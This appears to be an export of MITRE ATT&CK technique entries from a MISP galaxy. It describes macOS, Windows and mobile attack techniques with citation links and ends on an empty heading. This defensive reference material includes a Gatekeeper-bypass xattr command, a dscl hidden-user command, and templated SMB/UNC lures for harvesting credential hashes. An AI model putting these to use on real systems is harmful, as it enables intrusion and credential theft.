http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way

Gatekeeper Bypass - T1144

In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple’s Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.

Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)

In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)

The tag is: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144"

Table 2604. Table References
Links
https://attack.mitre.org/techniques/T1144
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/

Private Keys - T1145

Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)

Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows.

Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.

Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)

The tag is: misp-galaxy:mitre-attack-pattern="Private Keys - T1145"

Table 2605. Table References
Links
https://attack.mitre.org/techniques/T1145
https://en.wikipedia.org/wiki/Public-key_cryptography
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf
https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/

Lockscreen Bypass - T1461

An adversary with physical access to a mobile device may seek to bypass the device’s lockscreen.

Biometric Spoofing

If biometric authentication is used, an adversary could attempt to spoof a mobile device’s biometric authentication mechanism(Citation: SRLabs-Fingerprint)(Citation: SecureIDNews-Spoof)(Citation: TheSun-FaceID).

Device Unlock Code Guessing or Brute Force

An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing ("shoulder surfing") the device owner’s use of the lockscreen passcode.

Exploit Other Device Lockscreen Vulnerabilities

Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.

The tag is: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461"

Table 2606. Table References
Links
https://attack.mitre.org/techniques/T1461
https://srlabs.de/bites/spoofing-fingerprints/
https://thehackernews.com/2016/05/android-kernal-exploit.htmlhttps://www.secureidnews.com/news-item/another-spoof-of-mobile-biometrics/
https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/
https://support.apple.com/en-us/HT204587
https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/
https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/

Input Capture - T1417

Adversaries may capture user input to obtain credentials or other information from the user through various methods.

Malware may masquerade as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.

On Android, malware may abuse accessibility features to record keystrokes by registering an AccessibilityService class, overriding the onAccessibilityEvent method, and listening for the AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED event type. The event object passed into the function will contain the data that the user typed.

Additional methods of keylogging may be possible if root access is available.

The tag is: misp-galaxy:mitre-attack-pattern="Input Capture - T1417"

Table 2607. Table References
Links
https://attack.mitre.org/techniques/T1417
https://zeltser.com/third-party-keyboards-security/

Hidden Users - T1147

Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).

The tag is: misp-galaxy:mitre-attack-pattern="Hidden Users - T1147"

Table 2608. Table References
Links
https://attack.mitre.org/techniques/T1147
https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty

Application Discovery - T1418

Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary’s risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.

On Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.

On iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple’s App Store.

The tag is: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418"

Table 2609. Table References
Links
https://attack.mitre.org/techniques/T1418
https://developer.android.com/reference/android/content/pm/PackageManager.html
https://andreas-kurtz.de/2014/09/malicious-ios-apps/

SSH Hijacking - T1184

Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent’s socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)

[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184"

Table 2610. Table References
Links
https://attack.mitre.org/techniques/T1184
https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219
https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf
https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking
https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/

Web Service - T1481

Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.

The tag is: misp-galaxy:mitre-attack-pattern="Web Service - T1481"

Table 2611. Table References
Links
https://attack.mitre.org/techniques/T1481

LC_MAIN Hijacking - T1149

As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.

The tag is: misp-galaxy:mitre-attack-pattern="LC_MAIN Hijacking - T1149"

Table 2612. Table References
Links
https://attack.mitre.org/techniques/T1149
https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Input Injection - T1516

A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android’s accessibility APIs.

[Input Injection](https://attack.mitre.org/techniques/T1516) can be achieved using any of the following methods:

Mimicking user clicks on the screen, for example to steal money from a user’s PayPal account.(Citation: android-trojan-steals-paypal-2fa)
Injecting global actions, such as GLOBAL_ACTION_BACK (programatically mimicking a physical back button press), to trigger actions on behalf of the user.(Citation: Talos Gustuff Apr 2019)
Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.(Citation: bitwarden autofill logins)

The tag is: misp-galaxy:mitre-attack-pattern="Input Injection - T1516"

Table 2613. Table References
Links
https://attack.mitre.org/techniques/T1516
https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html
https://help.bitwarden.com/article/auto-fill-android/

Startup Items - T1165

Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.

The tag is: misp-galaxy:mitre-attack-pattern="Startup Items - T1165"

Table 2614. Table References
Links
https://attack.mitre.org/techniques/T1165
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Access Notifications - T1517

A malicious application can read notifications sent by the operating system or other applications, which may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. A malicious application can also dismiss notifications to prevent the user from noticing that the notifications arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)

The tag is: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517"

Table 2615. Table References
Links
https://attack.mitre.org/techniques/T1517
https://www.welivesecurity.com/2019/06/17/malware-google-permissions-2fa-bypass/

Dylib Hijacking - T1157

macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.

A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)

If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.

The tag is: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157"

Table 2616. Table References
Links
https://attack.mitre.org/techniques/T1157
https://capec.mitre.org/data/definitions/471.html
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf

Software Discovery - T1518

Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518"

Table 2617. Table References
Links
https://attack.mitre.org/techniques/T1518

Launch Agent - T1159

Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).

Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).

The tag is: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159"

Table 2618. Table References
Links
https://attack.mitre.org/techniques/T1159
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update

Browser Extensions - T1176

Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser’s app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)

Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).

The tag is: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176"

Table 2619. Table References
Links
https://attack.mitre.org/techniques/T1176
https://en.wikipedia.org/wiki/Browser_extension
https://developer.chrome.com/extensions
https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf
https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/
https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses
https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/
https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)
https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/
https://kjaer.io/extension-malware/

Securityd Memory - T1167

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)

If an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)

The tag is: misp-galaxy:mitre-attack-pattern="Securityd Memory - T1167"

Table 2620. Table References
Links
https://attack.mitre.org/techniques/T1167
http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way

Process Doppelgänging - T1186

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)

Adversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging’s use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)

Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):

Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
Load – Create a shared section of memory and load the malicious executable.
Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
Animate – Create a process from the tainted section of memory and initiate execution.

The tag is: misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1186"

Table 2621. Table References
Links
https://attack.mitre.org/techniques/T1186
https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx
https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx
https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx
https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx

LSASS Driver - T1177

The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)

Adversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.

The tag is: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177"

Table 2622. Table References
Links
https://attack.mitre.org/techniques/T1177
https://technet.microsoft.com/library/cc961760.aspx
https://technet.microsoft.com/library/dn408187.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx

Forced Authentication - T1187

The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)

Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user’s system accesses the untrusted resource it will attempt authentication and send information including the user’s hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)

There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:

A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)
A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\[remote address]\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187"

Table 2623. Table References
Links
https://attack.mitre.org/techniques/T1187
https://en.wikipedia.org/wiki/Server_Message_Block
https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/
https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx
https://github.com/hob0/hashjacking
https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf
https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
https://www.us-cert.gov/ncas/alerts/TA17-293A

BITS Jobs - T1197

Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)

The tag is: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"

Table 2624. Table References
Links
https://attack.mitre.org/techniques/T1197
https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
https://msdn.microsoft.com/library/aa362813.aspx
https://www.secureworks.com/blog/malware-lingers-with-bits
https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
https://www.symantec.com/connect/blogs/malware-update-windows-update
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
https://technet.microsoft.com/library/dd939934.aspx

Trusted Relationship - T1199

Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.

Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider’s access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.

The tag is: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199"

Table 2625. Table References
Links
https://attack.mitre.org/techniques/T1199

Misattributable credentials - T1322

The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)

The tag is: misp-galaxy:mitre-attack-pattern="Misattributable credentials - T1322"

Table 2626. Table References
Links
https://attack.mitre.org/techniques/T1322

Data Encrypted - T1532

The tag is: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1532"

Table 2627. Table References
Links
https://attack.mitre.org/techniques/T1532

DNS poisoning - T1382

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

DNS (cache) poisoning is the corruption of an Internet server’s domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)

The tag is: misp-galaxy:mitre-attack-pattern="DNS poisoning - T1382"

Table 2628. Table References
Links
https://attack.mitre.org/techniques/T1382

Process Discovery - T1424

On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the <code>ps</code> command, or by examining the <code>/proc</code> directory. Starting in Android version 7, use of the Linux kernel’s <code>hidepid</code> feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).

The tag is: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424"

Table 2629. Table References
Links
https://attack.mitre.org/techniques/T1424
https://code.google.com/p/android/issues/detail?id=205565

Capture Audio - T1429

Adversaries may capture audio to collect information on a user of a mobile device using standard operating system APIs. Adversaries may target audio information such as user conversations, surroundings, phone calls, or other sensitive information.

Android and iOS, by default, requires that an application request access to microphone devices from the user. In Android, applications must hold the <code>android.permission.RECORD_AUDIO</code> permission to access the microphone and the <code>android.permission.CAPTURE_AUDIO_OUTPUT</code> permission to access audio output such as speakers. Android does not allow third-party applications to hold <code>android.permission.CAPTURE_AUDIO_OUTPUT</code>, so audio output can only be obtained by privileged applications (distributed by Google or the device vendor) or after a successful privilege escalation attack. In iOS, applications must include the NSMicrophoneUsageDescription key in their Info.plist file.

The tag is: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429"

Table 2630. Table References
Links
https://attack.mitre.org/techniques/T1429
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html

Dumpster dive - T1286

Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)

The tag is: misp-galaxy:mitre-attack-pattern="Dumpster dive - T1286"

Table 2631. Table References
Links
https://attack.mitre.org/techniques/T1286

Dynamic DNS - T1333

Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)

The tag is: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1333"

Dynamic DNS - T1333 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1311" with estimative-language:likelihood-probability="almost-certain"

Table 2632. Table References
Links
https://attack.mitre.org/techniques/T1333

Port redirector - T1363

Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)

The tag is: misp-galaxy:mitre-attack-pattern="Port redirector - T1363"

Table 2633. Table References
Links
https://attack.mitre.org/techniques/T1363

Internal Spearphishing - T1534

Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user’s device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)

Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) or [Spearphishing Link](https://attack.mitre.org/techniques/T1192) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.

There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)

The tag is: misp-galaxy:mitre-attack-pattern="Internal Spearphishing - T1534"

Table 2634. Table References
Links
https://attack.mitre.org/techniques/T1534
https://blog.trendmicro.com/phishing-starts-inside/
https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6 [ https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6 ]

Credential pharming - T1374

